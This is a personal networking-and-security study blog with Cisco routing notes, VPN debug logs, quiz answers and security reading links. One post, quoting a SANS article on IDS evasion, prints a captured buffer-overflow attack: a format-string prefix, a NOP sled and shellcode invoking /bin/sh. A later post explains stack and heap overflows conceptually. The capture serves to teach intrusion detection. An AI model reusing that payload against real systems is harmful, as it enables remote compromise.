I just had to say that in the title. :P

But as Josh Groban says in his song, I would need to get over whatever and I know I'd live through it. But then again, I got this happy feeling seeing her one time.

So again, I'd say I love you, Carol.

................................................./jrv

IT Security readings vs Whatever

2010-09-26T12:52:00.000-07:00

I'd rather read the hardest IT Security book than read anything else - I'm tasked to certify on CCNA Voice right now and since it's not something I like to do even the simplest concept escapes me. :(

Just to make me happy, I'm reading on the SRX's. :P

Tunnel is up... err, Tunnels are up!!!

2010-09-24T05:16:00.000-07:00

Router-1#sh ip int br
Interface IP-Address OK? Method Status Protocol
FastEthernet0 74.223.52.74 YES NVRAM up up
FastEthernet1 unassigned YES NVRAM up down
FastEthernet2 unassigned YES unset up up
FastEthernet3 unassigned YES unset up down
FastEthernet4 unassigned YES unset up down
FastEthernet5 unassigned YES unset up down
FastEthernet6 unassigned YES unset up down
FastEthernet7 unassigned YES unset up down
FastEthernet8 unassigned YES unset up down
FastEthernet9 unassigned YES unset up down
Vlan1 10.171.148.1 YES manual up up
Async1 74.223.52.148 YES IPCP up up
Virtual-Template1 10.171.148.1 YES TFTP down down
Virtual-Template2 10.171.148.1 YES TFTP down down
Virtual-Access1 unassigned YES unset down down
Virtual-Access2 unassigned YES TFTP up up
Virtual-Access3 74.223.52.74 YES TFTP up up

Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 0.0.0.0, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Ezvpn cached default route 74.223.52.73, deleted
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 63.84.5.128, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 63.88.103.0, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 65.205.151.0, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 65.207.20.0, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 65.222.243.0, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 65.242.110.32, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 147.225.26.64, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 147.225.27.0, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 153.39.17.128, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 153.39.89.142, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 153.39.106.102, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 166.38.85.33, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 199.171.30.0, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: Static route change notify tableid 0, event DOWN, destination 137.39.5.154, gateway 74.223.52.73, interface
Sep 23 21:31:46.993: EZVPN: tracked object change 123 is DOWN
Sep 23 21:31:46.993: EZVPN: switch from primary to backup
Sep 23 21:31:46.997: EZVPN(crypto_back): Current State: TRACKING
Sep 23 21:31:46.997: EZVPN(crypto_back): Event: TRACKED OBJECT UP
Sep 23 21:31:46.997: EZVPN(crypto_back): No block ACL checking status change Primary or Backup active
Sep 23 21:31:46.997: EZVPN(crypto_back): New State: CONNECT_REQUIRED
Sep 23 21:31:46.997: EZVPN(crypto_main): Current State: IPSEC_ACTIVE
Sep 23 21:31:46.997: EZVPN(crypto_main): Event: TRACKED OBJECT DOWN
Sep 23 21:31:46.997: EZVPN(crypto_main): ezvpn_close
Sep 23 21:31:47.001: EZVPN(crypto_main): Enabling block ACL checking
Sep 23 21:31:47.001: EZVPN: Static route change notify tableid 0, event DOWN, destination 0.0.0.0, gateway 0.0.0.0, interface Virtual-Access3
Sep 23 21:31:47.001: EZVPN(crypto_main): VPN Route Deleted 0.0.0.0 0.0.0.0 via Virtual-Access3 in IP DEFAULT TABLE 8DD77F6F 207CE8E9 1069BDBD 647291AC
Sep 23 21:31:47.001: EZVPN(crypto_main): Deleted PSK for address 54.76.108.199

Sep 23 21:31:47.001: EZVPN(crypto_main): No Connect ACL checking status change
Sep 23 21:31:47.001: %CRYPTO-6-EZVPN_CONNECTION_DOWN: (Client) User=u261508qwert@greyhound.com Group=greyhound-h-g1 Server_public_addr=54.76.108.199
Sep 23 21:31:47.001: EZVPN(crypto_main): New active peer is 54.76.108.199
Sep 23 21:31:47.001: EZVPN(crypto_main): Ready to connect to peer 54.76.108.199
Sep 23 21:31:47.001: EZVPN(crypto_main): ezvpn_reset
Sep 23 21:31:47.001: EZVPN(crypto_main): New State: TRACKING
Sep 23 21:31:47.005: EZVPN(crypto_back): Current State: CONNECT_REQUIRED
Sep 23 21:31:47.005: EZVPN(crypto_back): Event: CONNECT
Sep 23 21:31:47.005: EZVPN(crypto_back): ezvpn_connect_request
Sep 23 21:31:47.009: EZVPN(crypto_back): Found valid peer 54.76.108.199
Sep 23 21:31:47.009: EZVPN(crypto_back): Added PSK for address 54.76.108.199

Sep 23 21:31:47.009: EzVPN(crypto_back): sleep jitter delay 1232
Sep 23 21:31:47.009: EZVPN(crypto_main): Current State: TRACKING
Sep 23 21:31:47.009: EZVPN(crypto_main): Event: CONNECT
Sep 23 21:31:47.009: EZVPN(crypto_main): No state change
Sep 23 21:31:47.009: EZVPN(crypto_main): Current State: TRACKING
Sep 23 21:31:47.009: EZVPN(crypto_main): Event: CONN_DOWN
Sep 23 21:31:47.009: EZVPN(crypto_main): No state change
Sep 23 21:31:48.241: EZVPN(crypto_back): Route exists for 54.76.108.199 via 74.223.52.73,FastEthernet0 in IP DEFAULT TABLE
Sep 23 21:31:48.241: EZVPN(crypto_back): New State: READY

Sep 23 21:33:18.243: EZVPN(crypto_back): Current State: READY
Sep 23 21:33:18.243: EZVPN(crypto_back): Event: RESET
Sep 23 21:33:18.243: EZVPN(crypto_back): ezvpn_close
Sep 23 21:33:18.243: EZVPN(crypto_back): VPN Route Deleted 0.0.0.0 0.0.0.0 via Virtual-Access2 in IP DEFAULT TABLE
Sep 23 21:33:18.243: EZVPN(crypto_back): Deleted PSK for address 54.76.108.199

Sep 23 21:33:18.243: EZVPN(crypto_back): No Connect ACL checking status change
Sep 23 21:33:18.243: %CRYPTO-6-EZVPN_CONNECTION_DOWN: (Client) User= Group=greyhound-h-g1 Server_public_addr=54.76.108.199
Sep 23 21:33:18.243: EZVPN(crypto_back): New active peer is 54.76.108.199
Sep 23 21:33:18.243: EZVPN(crypto_back): Ready to connect to peer 54.76.108.199
Sep 23 21:33:18.243: EZVPN(crypto_back): ezvpn_reset
Sep 23 21:33:18.243: EZVPN(crypto_back): New State: CONNECT_REQUIRED
Sep 23 21:33:18.243: EZVPN(crypto_back): Current State: CONNECT_REQUIRED
Sep 23 21:33:18.243: EZVPN(crypto_back): Event: CONNECT
Sep 23 21:33:18.243: EZVPN(crypto_back): ezvpn_connect_request
Sep 23 21:33:18.243: EZVPN(crypto_back): Found valid peer 54.76.108.199
Sep 23 21:33:18.243: EZVPN(crypto_back): Added PSK for address 54.76.108.199

Sep 23 21:33:18.243: EzVPN(crypto_back): sleep jitter delay 1265
Sep 23 21:33:19.511: EZVPN(crypto_back): Route exists for 54.76.108.199 via 74.223.52.73,FastEthernet0 in IP DEFAULT TABLE
Sep 23 21:33:19.511: EZVPN(crypto_back): New State: READY

What's that above?

You'll notice that the 2 tunnels are up via the Virtual Access interfaces. Also, despite the ASync line having an IP already, the other tunnel is just up without any IP addresses.

If you take a look at the output of the debug of the crypto client, it shows proper disconnection of the mainline but it doesn't do anything on the DBU.

The verdict - IOS issue. And this case made me crazy for 2 hours!!!

PPP and Xauth - which is used in IPSec Authentication?

2010-09-05T14:42:00.001-07:00

XAuth.

That's the short answer.

Could we use PPP authentication for the link?

Yes! Yes but that's separate from the IPSec stuff you think would happen. For example, in L2TP, PP only serves as a means to transport upper layer data stuff. PPP goes through the L2TP tunnel, the we have IPSec through PPP within the L2TP tunnel.

From that, the PPP authentication is different.

www.ietf.org/rfc/rfc2661.txt

BGP: Rule of Synchronization

2010-07-21T14:43:00.000-07:00

The BGP synchronization rule states that if an AS provides transit service to another AS, BGP should not advertise a route until all of the routers within the AS have learned about the route via an IGP.

Kind of pretty straight forward, if you ask me.

Anyway, what it means is that it is not good for BGP to just advertise a route that has a possibility to be unknown to the IGP of an AS acting transit since any unknown route goes down the drain - it should be known to the IGP of that transit AS first despite the fact that a route can also be known via iBGP.

Note: The topology presented in Cisco's site shows that not all the routers in the AS is running BGP. Synchronization should not be disabled. In cases where all routers run BGP in the AS or that your AS is not transit is where you can safely and happily turn off synchronization.

So, that's what it does

2010-06-04T20:00:00.000-07:00

Routing protocols allow you to examine what happened to the relationships formed, which in turn becomes a troubleshooting tool that you can look at for clues as to what happened.

For example, EIGRP has the following

router eigrp ASN eigrp log-neighbor-changes

Couple that with logging buffered and service timestamps.

In some situations, it helps if you can type the commands properly

term mon
!
conf t
line console 0
logging synchronous
!
end
!
wr
!

EIGRP: Why maintain Load and Reliability metrics?

2010-05-30T07:07:00.000-07:00

IGRP considers Bandwidth, Delay, Load, Reliability, and MTU.

Now, they got ported over to EIGRP.

EIGRP does [dynamic] triggered updates on the interface state regarding load and reliability. So, it's as dependable as a toothpick holding the Golden Gate bridge together when concerns are regarding the metric calculations.

Oh yeah, Ivan Pepelnjak wrote a very good book on this topic. Plus, it's nice to know that you can play around with metrics to mimic different routing protocols.

RIP
Set delays on all interfaces to equal value and set all Ks, except K3, to 0

OSPF
Set interface delay to OSPF cost and set all Ks, except K3, to 0

Favoring Bandwidth
set all Ks, except K1, to 0.

One more thing about EIGRP's K values - not everything you know about it is true!

k1=bandwidth

k2=load

k3=delay

k4=reliability

k5=MTU < - - - Nope!!!!

k5 actually just acts as a modifier.

Actually, everything else is a modifier or some sort of multiplier. Consider the EGIRP Metric calculation:

EIGRP Metric = 256*((K1*Bw) + (K2*Bw)/(256-Load) + K3*Delay)*(K5/(Reliability + K4)))

See? No MTU in the formula! I do not know what Jose Garcia-Lunes-Aceves was thinking about for this one.

k1, turns on bandwidth via factor equal to k1

k2, turns on load via factor equal to k2

k3, turns on delay via factor equal to k3

k4, turns on reliability via factor equal to k4
k5, just a modifier equal to k5, NOT related anything to MTU!!!

See notes below. :P

RE: EIGRP metric calculation
K5 is a modifier. It's not related to MTU.

This tends to be a confusing issue because the "default-metric" command, or "metric" on a redistribution command line puts CHARACTERISTICS in place which include a place for MTU, but it's not exactly like that when calculating the MTU.

MTU is a carried concept, not one used in the metric itself. The configuration guide for EIGRP should have the whole algorithm used for EIGRP metric calculations, this may be good to look at!

HTH,

Scott Morris, CCIE4 #4713, JNCIE-M #153, JNCIS-ER, CISSP, et al.
CCSI/JNCI-M/JNCI-ER

This is Scott's follow up to another forum poster:

You are confusing the metrics used in the "default-metric" command or
"redistribute" command with the K values. They are different.

If you look at the algorithm used for metrics, you'll find that:

K1 - bandwidth
K2 - load
K3 - delay
K4 - reliability
K5 - just a modifier

Tos is always 0 in the "metric weights" command.

HTH,

Scott

----- Original Message -----
From:
Sent: Sun, February 22, 2009 21:43
Subject:Re: [CCIE R&S] EIGRP metric calculation

On 30/12/2008, at 7:03 PM, wrote: > The 5 Day Bootcamp workbook
v4.2 tas
3.16 states "Configure the > EIGRP domain so that only delay is used for
composite
metric > calculations" the solution guide shows this as > > "metric
weigths 0 0 0 1
0 0" > > My understanding of the values are: > > K1 = Bandwidth (default
1) > > K2 =
Delay (default 0) > > K3 = Delay Reliability (default 1) > > K4 = Load
(default 0) >
> K5 = mtu (default 0) > > metric weights takes 6 arguments total (tos,
k1, k2, k3,
k4, k5). So > to calculate on delay wouldn't we need to use only the K2
value >
"metric weight 0 0 1 0 0 0" to calculate on delay vice delay >
reliability? > Hi
Peter, K1 and K2 are for Bandwidth. K3 is for Delay. Just check the
formula to get a
better understanding.

----- End of original message --

Some useful commands:

States the Bandwidth, Delay, Load, Reliability, and MTU to be used.
Router(config)#router eigrp 1
Router(config-router)#redistribute connected metric ?
<1-4294967295>  Bandwidth metric in Kbits per second

Setting EIGRP metric multiplier values
Router(config-router)#metric weights 0 1 1 1 1 1

The first item in the metric weights command is Type of Service, TOS. It's usually set to 0.

Other readings: You have to check this out!!!

IPExpert Blog on EIGRP Metrics You have to check this out!!!

Cisco IOS IP Routing: EIGRP Command Reference - On Metric Weights

OSPF Area Types

2010-05-25T08:49:00.000-07:00

[Inter|Intra|normal] Areas: Areas that can allow intra-area, inter-area and external routes. The backbone area is the central area of connection of other OSPF areas.

Note: Intra-area routes are updates within the area. Inter-area routes are updates passed between areas. External routes are updates passed from another routing protocol into the OSPF by ASBR's.

Stub Areas: Does not accept routes belonging to external AS's; these areas have and inter-area and intra-area routes. To reach the outside networks, the routers in the stub use a default route which is injected into the area by the ABR.

area area-id stub

Note: A stub area is typically configured in situations where the branch office need not know about all the routes to every other office, instead it could use a default route to the central office and get to other places from there. Hence the memory requirements of the leaf node routers is reduced, and so is the size of the OSPF database.

Totally Stub Areas: Does not allow routes other than intra-area and the default routes to be propagated within the area. The ABR injects a default route into the area and all the routers belonging to this area use the default route to send any traffic outside the area.

area area-id stub no-summary [on ABR]

NSSA: This type of area allows the flexibility of importing a few external routes into the area while still trying to retain the stub characteristic. Assume that one of the routers in the stub area is connected to an external AS running a different routing protocol, it now becomes the ASBR, and hence the area can no more be called a stub area. However, if the area is configured as a NSSA, then the ASBR generates a NSSA external link-state advertisement (LSA) (Type-7) which can be flooded throughout the NSSA area. These Type-7 LSAs are converted into Type-5 LSAs at the NSSA ABR and flooded throughout the OSPF domain

area area-id nssa

Notice: Images above are owned by and copyright of Cisco.

On Default routing

2010-05-25T08:25:00.000-07:00

EIGRP ip default-network
Network must be known via EIGRP or using a static route.
To advertise network 0.0.0.0, EIGRP needs static route to be redistributed into it.

RIP ip default-network
Doesn't matter, just add the path via the ip default-network command.

OSPF default-information originate
This generates an external Type-2 link with link-state ID 0.0.0.0 and network mask 0.0.0.0, which makes the router an ASBR.

default-information originate [always] [metric metric-value] [metric-type type-value] [route-map map-name]

References:
-How Does OSPF Generate Default Routes?
-Configuring a Gateway of Last Resort Using IP Commands
-How OSPF Injects a Default Route into a Stub or Totally Stub Area

CCNP ROUTE EIGRP Table 2-1 “Do I Know This Already?” Foundation Topics Section-to-Question Mapping

2010-05-23T04:38:00.000-07:00

Foundation Topics Section Questions

EIGRP CCNA Review 1, 2
EIGRP Neighborships 3–7
Neighborships over WANs 8
“Do I Know This Already?” Quiz

The “Do I Know This Already?” quiz allows you to assess if you should read the entire chapter. If you miss no more than one of these eight self-assessment questions, you might want to move ahead to the “Exam Preparation Tasks.” Table 2-1 lists the major headings in this chapter and the “Do I Know This Already?” quiz questions covering the material in those headings so that you can assess your knowledge of these specific areas.

1. A router has been configured with the commands router eigrp 9 and network 172.16.1.0 0.0.0.255. No other EIGRP-related commands have been configured. The answers list the IP addresses that could be assigned to this router’s Fa0/0 interface. Which answers list an IP address/prefix length that would cause the router to enable EIGRP on Fa0/0?
a. 172.16.0.1/23
b. 172.16.1.1/26
c. 172.16.1.1/24
d. 172.16.0.255/23
e. None of the other answers is correct.

That's obviously B and C.

2. Router R1 has working interfaces S0/0, S0/1, and S0/2, with IP address/prefix combinations of 10.10.10.1/24, 10.10.11.2/24, and 10.10.12.3/22. R1’s configuration includes the commands router eigrp 9 and network 10.0.0.0. The show ip eigrp interfaces command lists S0/0 and S0/1 in the command output, but not S0/2. Which answer gives the reason for the omission? (Choose two answers.)
a. R1 has EIGRP neighbors reachable via S0/0 and S0/1, but not via S0/2, so it is not included.
b. S0/2 may currently be in a state other than up/up.
c. The network 10.0.0.0 command requires the use of mask 255.0.0.0 due to EIGRP being classful by default.
d. S0/2 may be configured as a passive interface.

Hmm, I originally chose D but it turns out that D becomes only part of the answer - B, the interface maybe in another state than being UP/UP.

3. Routers R1 and R2 are EIGRP neighbors using their Fa0/0 interfaces, respectively. An engineer adds the ip hello-interval eigrp 9 6 command to R1’s Fa0/0 configuration. Which of the following is true regarding the results from this change?
a. The show ip eigrp neighbors command on R1 lists the revised Hello timer.
b. The show ip eigrp interfaces command on R1 lists the revised Hello timer.
c. The R1-R2 neighborship fails due to Hello timer mismatch.
d. The show ip eigrp interfaces detail command on R1 lists the revised Hello timer.

4. Routers R1 and R2, currently EIGRP neighbors over their Fa0/0 interfaces (respectively), both use EIGRP authentication. Tuesday at 8 p.m. the neighborship fails. Which of the following would not be useful when investigating whether authentication had anything to do with the failure?
a. debug eigrp packet
b. show key chain
c. show ip eigrp neighbor failure
d. show clock

I correctly chose C for the wrong reasons. :P

5. Router R1 has been configured with the commands router eigrp 9 and network 172.16.2.0 0.0.0.255, with no other current EIGRP configuration. R1’s (working) Fa0/0 interface has been configured with IP address 172.16.2.2/26. R1 has found three EIGRP neighbors reachable via interface Fa0/0, including the router with IP address 172.16.2.20. When the engineer attempts to add the neighbor 172.16.2.20 fa0/0 command in EIGRP configuration mode, which of the following occurs?
a. Fa0/0 fails.
b. The command is rejected.
c. The existing three neighbors fail.
d. The neighborship with 172.16.2.20 fails and then reestablishes.
e. None of the other answers is correct.

Adding the neighbor command will not impact the interface state. Nor will the command be rejected since the added neighbor is within the subnet. When adding that command EIGRP DISABLES all [EIGRP] multicasts and the dynamically learned neighbors fail. All neighbors fail, including the statically added neighbor because it most likely also has no static neighbor commands for the router it was added into as a neighbor - needs to be configured on both.

6. Which of the following settings could prevent two potential EIGRP neighbors from becoming neighbors? (Choose two answers.)
a. The interface used by one router to connect to the other router is passive in the EIGRP process.
b. Duplicate EIGRP router IDs.
c. Mismatched Hold Timers.
d. IP addresses of 10.1.1.1/24 and 10.2.2.2/24, respectively.

7. An engineer has added the following configuration snippet to an implementation planning document. The configuration will be added to Router R1, whose Fa0/0 interface connects to a LAN to which Routers R2 and R3 also connect. R2 and R3 are already EIGRP neighbors with each other. Assuming the snippet shows all commands on R1 related to EIGRP authentication, which answer lists an appropriate comment to be made during the implementation plan peer review?

!
key chain fred
key 3
key-string whehew
interface fa0/0
ip authentication key-chain eigrp 9 fred
!

a. The configuration is missing one authentication-related configuration command.
b. The configuration is missing two authentication-related configuration commands.
c. Authentication type 9 is not supported; type 5 should be used instead.
d. The key numbers must begin with key 1, so change the key 3 command to key 1.

ip authentication mode eigrp AS md5

8. A company has a Frame Relay WAN with one central-site router and 100 branch office routers. A partial mesh of PVCs exists: one PVC between the central site and each of the 100 branch routers. Which of the following could be true about the number of EIGRP neighborships?
a. A partial mesh totaling 100: one between the central-site router and each of the 100 branches.
b. A full mesh – (101 * 100) / 2 = 5050–One neighborship between each pair of routers.
c. 101–One between each router (including the central site) and its nearby PE router.
d. None of the answers is correct.

Anti-IDS

2010-03-06T15:00:00.000-08:00

http://www.sans.org/security-resources/idfaq/polymorphic_shell.php

Nice reading. Well, at least to me, the most interesting part of the article was when a sample was shown...

In simple form, a buffer overflow exploit contains the following components

Processor NOOP/NOP (No Operation) instructions – These allow more leniency in getting the memory addresses exactly correct in an exploit. On the Intel platform the hex value of 0x90 is the most common NOOP instruction, although there may be up to 55 NOOP instructions possible. NOOP instructions are commonly chained together into a NOOP “sled” that advances the processor’s instruction pointer to the place of choice by the attacker.
Shellcode instructions – These are the actual assembly commands that give remote access to the attacker. The most common shellcode instruction is to execute a shell (such as /bin/sh). Other common shellcode routines will add a root user account to the system, or perform a reverse telnet back to the attacker’s machine.
Return address – This is an attacker-supplied value that overwrites the correct value in the target machine’s computer memory. Getting this value correct is the first step in building a buffer overflow exploit. Typically this value points to the attacker’s NOOP sled, where execution “slides” down to the shellcode.

.Here’s an example of a buffer overflow exploit in the wild as seen by a network IDS system. In this case, the Enterasys Dragon IDS captured an attempted LPR exploit against an exposed HP JetDirect printer.

dragon-net1 (External) SOURCE: 209.58.24.9 DEST: MY.NET.24.151	09:26:01
45 00 01 ce 28 1e 40 00 32 06 96 92 d1 3a 18 09 86 9f 18 97 E..Î(.@.2...Ñ:......
06 38 02 03 6f 54 4f a9 01 af fe 78 50 18 7d 78 76 dd 00 00 .8..oTO©.¯þxP.}xvÝ..
42 42 20 f7 ff bf 21 f7 ff bf 22 f7 ff bf 23 f7 ff bf 58 58 BB ÷ÿ¿!÷ÿ¿"÷ÿ¿#÷ÿ¿XX
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25 2e 32 32 XXXXXXXXXXXXXXXX%.22
34 75 25 33 30 30 24 6e 25 2e 32 31 33 75 25 33 30 31 24 6e 4u%300$n%.213u%301$n
73 65 63 75 25 33 30 32 24 6e 25 2e 31 39 32 75 25 33 30 33 secu%302$n%.192u%303
24 6e 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 $n..................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ....................
90 90 31 db 31 c9 31 c0 b0 46 cd 80 89 e5 31 d2 b2 66 89 d0 ..1Û1É1À°FÍ..å1Ò²f.Ð
31 c9 89 cb 43 89 5d f8 43 89 5d f4 4b 89 4d fc 8d 4d f4 cd 1É.ËC.]øC.]ôK.Mü.MôÍ
80 31 c9 89 45 f4 43 66 89 5d ec 66 c7 45 ee 0f 27 89 4d f0 .1É.EôCf.]ìfÇEî.'.Mð
8d 45 ec 89 45 f8 c6 45 fc 10 89 d0 8d 4d f4 cd 80 89 d0 43 .Eì.EøÆEü..Ð.MôÍ..ÐC
43 cd 80 89 d0 43 cd 80 89 c3 31 c9 b2 3f 89 d0 cd 80 89 d0 CÍ..ÐCÍ..Ã1É²?.ÐÍ..Ð
41 cd 80 eb 18 5e 89 75 08 31 c0 88 46 07 89 45 0c b0 0b 89 AÍ.ë.^.u.1À.F..E.°..
f3 8d 4d 08 8d 55 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 ó.M..U.Í.èãÿÿÿ/bin/s
68 0a	h.
EVENT4: [NOOP:X86] (tcp,dp=515,sp=1592)

I've color-coded parts of the output to give you some insight. I'm just hoping I was correct with interpreting that the blue text is the one pointing to the attacker-chosen address space.

Please read the rest of the article on the link.

Steganographic tools..

2010-03-06T14:30:00.000-08:00

http://www.jjtc.com/Steganography/tools.html

Kewl!!!

Protecting against syn flooding

2010-03-05T18:49:00.000-08:00

http://www.securityfocus.com/infocus/1729

http://en.wikipedia.org/wiki/SYN_cookies

Wireshark...

2010-03-05T18:02:00.000-08:00

http://www.tcpdump.org/tcpdump_man.html

http://wiki.wireshark.org/DisplayFilters

http://wiki.wireshark.org/CaptureFilters

http://www.wireshark.org/docs/wsug_html_chunked/ChWorkBuildDisplayFilterSection.html

MTU on PE and CE router

2009-11-25T10:34:00.000-08:00

If the PE MTU is set on the main interface, but not the sub-interface, do we match the CE’s MTU to that of the PE’s main interface OR leave the CE un-configured/defaulted?

Example:

SiteCstNum1#show configuration | begin GigabitEthernet2/1/0
interface GigabitEthernet2/1/0
description **NNI** SiteCstNum1 to SiteCstNum8 1.8.2.1 via CPA BW: 1000000 CKT: CKTNUMBER01 ###
mtu 2048 <--- MTU set on main interface
no ip address
no ip redirects
no ip unreachables
no ip proxy-arp
load-interval 30
carrier-delay msec 120
no negotiation auto
!
interface GigabitEthernet2/1/0.19
description GigabitEthernet2/1/0.19 Ethernet VLAN-Id=19 : Provisioned By SYSTEM-IP: Service Request Id# = IDNUMBER1 (SiteCstNum1_CKTNUMBER1-VPN1) No MTU set on sub-int – do we match CE with main int, or leave CE defaulted?
encapsulation dot1Q 19
ip vrf forwarding VRF:VPNName1
ip address 252.277.46.53 255.255.255.252
ip access-group 101 in
no ip redirects
no ip proxy-arp
no snmp trap link-status
service-policy input DSCP_CE2PE_ETM_G=8000
service-policy output DSCP_PE2CE_940K_6Q
!
interface GigabitEthernet2/1/0.31
description GigabitEthernet2/1/0.31 Ethernet VLAN-Id=31 : Provisioned By SYSTEM-IP: Service Request Id# = IDNUMBER2 (SiteCstNum2_CKTNUMBER2-VPN1)
encapsulation dot1Q 31
ip vrf forwarding VRF:VPNName2
ip address 160.152.255.225 255.255.255.252
ip access-group 101 in
no ip redirects
no ip proxy-arp
ip mtu 1500
no snmp trap link-status
service-policy input DSCP_CE2PE_ETM_G=1024000
service-policy output DSCP_PE2CE_C1_17000K_6Q
!
interface GigabitEthernet2/1/0.103
description GigabitEthernet2/1/0.103 Ethernet VLAN-Id=103 : Provisioned By SYSTEM-IP: Service Request Id# = IDNUMBER3 (SiteCstNum3_CKTNUMBER3-VPN1)
encapsulation dot1Q 103
ip vrf forwarding VRF:VPNName3
ip address 252.73.78.33 255.255.255.252
ip access-group 101 in
no ip redirects
no ip proxy-arp
ip mtu 1500
no snmp trap link-status
service-policy input DSCP_CE2PE_ETM_G=8000
service-policy output DSCP_PE2CE_1880K_6Q
!

Since the logical interfaces/sub-interfaces take on the physical interface's properties, we'd be matching with the physical interface for the CE interface MTU setting.

Note: The IP's are fictitious. No proprietary information leaked out or any customer-owned router was harmed.

Bufferoverruns: Just some high-level ramblings on it

2009-11-20T03:57:00.001-08:00

While working for TrendMicro, I came across a book in the sleeping quarters (hahahahahahahahahahahahahaaha!!!!), and I think now I know why the books were placed there. Heck, this brings back memories.

Anyway, I loved reading that book. It was also some sort of bible for me.

I really liked how the author discussed on buffer overruns. From then on, I discussed overruns or overflows to peers with so much passion!

[Stack Overruns: http://en.wikipedia.org/wiki/Stack_buffer_overflow]
This seems to eb the contemporary overflow we know - putting in too much into the memory stack that's meant to be the data input of the program but declared to handle only a certain amount.

How does this exploit work? Easy, programmers noticed that even though their executables were experiencing a "The instruction at 0x54545454 referrenced memory at 0x54545454. The memory could not be read." problem, playing around with the input gives you this idea that you can have the system jump to a certain memory location and execute the code in there by knowing exactly what type of input to feed the program to jump to the location.

Brilliant, eh?! Wow! Just amazing!

Check this out: http://www.securityfocus.com/advisories/4254

That's just a one-byte exploit! As Wikipedia explains (http://en.wikipedia.org/wiki/Off-by-one_error), this happens when you iterate and the programmer is not aware of the starting points - you go off by one more or one less. Look up the Fenceport error example. It's really good!

Well, remember this one as well: memory is generally partitioned into 2 parts, namely, the Executable and Non-executable parts. Most exploits try to run the code found under the Non-executable part that they got into your system. Most systems right now have this distinction between what's executable and non-executable.

How? It's a different topic!

[Heap Overruns: www.w00w00.org/files/articles/heaptut.txt]
Heap data is like a linked-list data, allocated during the start of the program; which some refer as dynamic malloc. Heap overruns are like Stack overruns, just that the malloc isn't static.

Making use of heaps to store data may lead you to say that a Heap overrun is not posible as memory is dynamically allocated. Imagine a program that goes bonkers and you used heap malloc instead of static. The problem first start with you just accepting the fact that heap overruns aren't really a big deal. A malicious programmer could get debugger and try to trace problems with the program. He'll get to the root cause with a little persistence - say the first or second arguement on the code you made has problems when the input is just too big for it. He'll eventually find the problem with the heap. If he gets to know the location of the buffer that caused the problem he can pass in any value and it'll get written to any point in the process space of the application of his choosing - the goal is to get a malicious code to be executed by that exploited program. Please refer here: www.blackhat.com/presentations/win-usa-02/halvarflake-winsec02.ppt.

Check these out ,too:
http://www.infosecwriters.com/texts.php?op=display&id=134

There are toher coding problems leading to a buffer overrun like Array indexing errors, Format string bugs, and Unicode and ANSI buffer size mismatches.

[How to basically safe-guard from a buffer overrun?]
Write solid code! Or maybe invent HeapGuard. ^___^

AAA Policies: On TACACS+

2009-11-19T03:31:00.000-08:00

aaa new-model
!
!
aaa authentication login default group tacacs+ local
aaa authorization commands 15 default group tacacs+ if-authenticated
aaa accounting commands 15 default stop-only group tacacs+
!

What's the above?

This starts AAA.

!
aaa new-model
!

This one means that during access to the router (console, aux, whatever), use TACACS+ or fallback to the local authentication database on the router.

!
aaa authentication login default group tacacs+ local
!

Note that is it authenticates only during logins, not when you go to enable mode.

Now, after authenticating, bestow level 15 rights, the highest, to the user.

!
aaa authorization commands 15 default group tacacs+ if-authenticated
!

The commands below mean that whatever the authenticated user did, it'll get logged only after exiting.

!
aaa accounting commands 15 default stop-only group tacacs+
!

There are other things you could have in the above AAA policy changed.

For example, you could instead use AAA also when somone will be going to Priv Exec mode. Log failures may be generated

aaa authentication banner ^C
Unauthorised access is prohibited. And may be punishable by law . So scram if you're not in that list.

Send an e-mail to root@vzb.net if you need access.
^C

aaa authentication fail-message ^C
Login failed.

Epic fail in hacking. ^___^

Wait at least 30 seconds and retry
^C

Try also the following:

aaa authentication password-prompt
aaa authentication username-prompt
aaa authentication local-override
aaa authentication ppp

More about the Authentication Methods:

krb5 - use Kerberos
krb5-telnet - self-explanatory ^___^
local-case - use loca but be case-sensitive

Trobleshooting a big problem with HER IPSec deployment?

2009-11-19T03:19:00.001-08:00

"My, here comes Supes to the rescue!"

